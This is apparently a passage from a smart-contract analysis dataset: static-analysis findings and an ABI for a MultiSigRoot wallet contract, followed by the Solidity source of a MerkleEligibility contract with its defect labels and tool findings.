"confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [1]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"MultiSigRoot.sol": [574]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"MultiSigRoot.sol": [167]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"MultiSigRoot.sol": [167]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [539]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [923]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [230]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [535]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [982]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [242]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [261]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [557]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [711]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [112]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [999]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [509]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [531]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [557]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [562]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [711]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [729]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [115]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [962]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [408]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [1011]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [747]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [509]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [531]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [974]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [951]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [114]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [896]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [896]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [227]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [1079]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [741]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [138]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [117]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [562]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [747]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [292]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [790]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [1011]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [113]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [987]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [531]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [790]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [729]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [914]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [397]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [1047]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [557]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [116]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [873]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [747]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [914]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [790]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [741]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [741]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [884]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [855, 856, 857, 858, 859, 860, 861, 862]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [1096]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [864]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [1074]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [942]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [1008]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [971]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [959]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [996]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [868]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [983]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [1100]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [278]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [1040]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [1095]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [636]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [636]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [582]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [261]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [310]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [242]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [287]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 808, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 808, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 842, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 842, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 844, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 844, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 846, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 929, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1035, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 142, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 933, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 182, "severity": 3}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 330, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 338, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 341, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 342, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 601, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 602, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 604, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 605, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 606, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 607, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 608, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 651, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 654, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 657, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 381, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 808, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 819, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 846, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 138, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 149, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 144, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 203, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 385, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 203, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 203, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 203, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 203, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 204, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 204, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 204, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 206, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 206, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 206, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 207, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 207, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 209, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 211, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 211, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 211, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 211, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 211, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 212, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 214, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 214, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 214, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 215, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 215, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 215, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 217, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 218, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 220, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 220, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 385, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 385, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 385, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 386, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 386, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 386, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 388, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 388, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 388, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 389, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 390, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 390, "severity": 1}]
[{"constant":true,"inputs":[],"name":"transactionCode","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"},{"name":"","type":"bytes32"}],"name":"requirements","outputs":[{"name":"required","type":"uint8"},{"name":"flag","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"submit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_transactionCode","type":"uint256"}],"name":"revoke","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_addressOf","type":"address"}],"name":"setStakersController","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"},{"name":"","type":"address"}],"name":"confirmations","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signers","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_addressOf","type":"address"}],"name":"setSignersController","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_transactionCode","type":"uint256"},{"name":"_sender","type":"address"}],"name":"isEligible","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"description","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_labelCode","type":"bytes32"},{"name":"_flag","type":"uint256"},{"name":"_required","type":"uint8"}],"name":"createRequirement","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"signersController","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"transactions","outputs":[{"name":"status","type":"uint8"},{"name":"totalRequired","type":"uint8"},{"name":"to","type":"address"},{"name":"value","type":"uint256"},{"name":"data","type":"bytes"},{"name":"reason","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"stakersController","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"registered","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_addressOf","type":"address"}],"name":"setSigners","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_transactionCode","type":"uint256"}],"name":"confirm","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"class","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_addressOf","type":"address"}],"name":"setStakers","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"labelCode","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_wallet","type":"address"}],"name":"attachWalletOrNode","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"label","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_addressOf","type":"address"}],"name":"setRegulator","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_wallet","type":"address"}],"name":"detachWalletOrNode","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"regulator","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"classCode","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_transactionCode","type":"uint256"},{"name":"_sender","type":"address"}],"name":"isSignable","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"walletToNodes","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"stakers","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_label","type":"string"},{"name":"_description","type":"string"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"sender","type":"address"},{"indexed":true,"name":"transactionCode","type":"uint256"}],"name":"Confirmation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"sender","type":"address"},{"indexed":true,"name":"transactionCode","type":"uint256"}],"name":"Revocation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"transactionCode","type":"uint256"}],"name":"Submission","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"transactionCode","type":"uint256"},{"indexed":false,"name":"labelCode","type":"bytes32"},{"indexed":false,"name":"flag","type":"uint256"},{"indexed":false,"name":"required","type":"uint8"}],"name":"Requirement","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"transactionCode","type":"uint256"}],"name":"Execution","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"transactionCode","type":"uint256"}],"name":"ExecutionFailure","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"sender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"stakers","type":"address"}],"name":"StakersChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"signers","type":"address"}],"name":"SignersChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"regulator","type":"address"}],"name":"RegulatorChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"stakersController","type":"address"}],"name":"StakersControllerChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"signersController","type":"address"}],"name":"SignersControllerChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"wallet","type":"address"}],"name":"WalletOrNodeAttached","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"wallet","type":"address"}],"name":"WalletOrNodeDetached","type":"event"}]
v0.5.0+commit.1d4f565a
false
200
000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004524f4f5400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001455534441204d756c74695369672057616c6c6574000000000000000000000000
Default
false
bzzr://ba1d95d571baa48fb52de42e25f51731d8b667add8c602dbc1a63534ddc41cec
MerkleEligibility
0x3a87b5a373ac823773dc7f125ccbb2be9018e446
Solidity
// SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.9; interface IEligibility { // function getGate(uint) external view returns (struct Gate) // function addGate(uint...) external function isEligible(uint, address, bytes32[] memory) external view returns (bool eligible); function passThruGate(uint, address, bytes32[] memory) external; } library MerkleLib { function verifyProof(bytes32 root, bytes32 leaf, bytes32[] memory proof) public pure returns (bool) { bytes32 currentHash = leaf; for (uint i = 0; i < proof.length; i += 1) { currentHash = parentHash(currentHash, proof[i]); } return currentHash == root; } function parentHash(bytes32 a, bytes32 b) public pure returns (bytes32) { if (a < b) { return keccak256(abi.encode(a, b)); } else { return keccak256(abi.encode(b, a)); } } } contract MerkleEligibility is IEligibility { using MerkleLib for bytes32; address public management; address public gateMaster; struct Gate { bytes32 root; uint maxWithdrawalsAddress; uint maxWithdrawalsTotal; uint totalWithdrawals; } mapping (uint => Gate) public gates; mapping(uint => mapping(address => uint)) public timesWithdrawn; uint public numGates = 0; modifier managementOnly() { require (msg.sender == management, 'Only management may call this'); _; } constructor(address _mgmt, address _gateMaster) { management = _mgmt; gateMaster = _gateMaster; } function addGate(bytes32 merkleRoot, uint maxWithdrawalsAddress, uint maxWithdrawalsTotal) external managementOnly returns (uint index) { // increment the number of roots numGates += 1; gates[numGates] = Gate(merkleRoot, maxWithdrawalsAddress, maxWithdrawalsTotal, 0); return numGates; } function getGate(uint index) external view returns (bytes32, uint, uint, uint) { Gate memory gate = gates[index]; return (gate.root, gate.maxWithdrawalsAddress, gate.maxWithdrawalsTotal, gate.totalWithdrawals); } function isEligible(uint index, address recipient, bytes32[] memory proof) public override view returns (bool eligible) { Gate memory gate = gates[index]; // We need to pack the 20 bytes address to the 32 bytes value bytes32 leaf = keccak256(abi.encode(recipient)); bool countValid = timesWithdrawn[index][recipient] < gate.maxWithdrawalsAddress; return countValid && gate.totalWithdrawals < gate.maxWithdrawalsTotal && gate.root.verifyProof(leaf, proof); } function passThruGate(uint index, address recipient, bytes32[] memory proof) external override { require(msg.sender == gateMaster, "Only gatemaster may call this."); // close re-entrance gate, prevent double withdrawals require(isEligible(index, recipient, proof), "Address is not eligible"); timesWithdrawn[index][recipient] += 1; Gate storage gate = gates[index]; gate.totalWithdrawals += 1; } }
[{"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["92"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["66", "91"]}]
[{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MerkleEligibility.sol": [17, 18, 19, 20, 21, 22, 23, 24, 25]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MerkleEligibility.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MerkleEligibility.sol": [60]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MerkleEligibility.sol": [61]}}]
[]
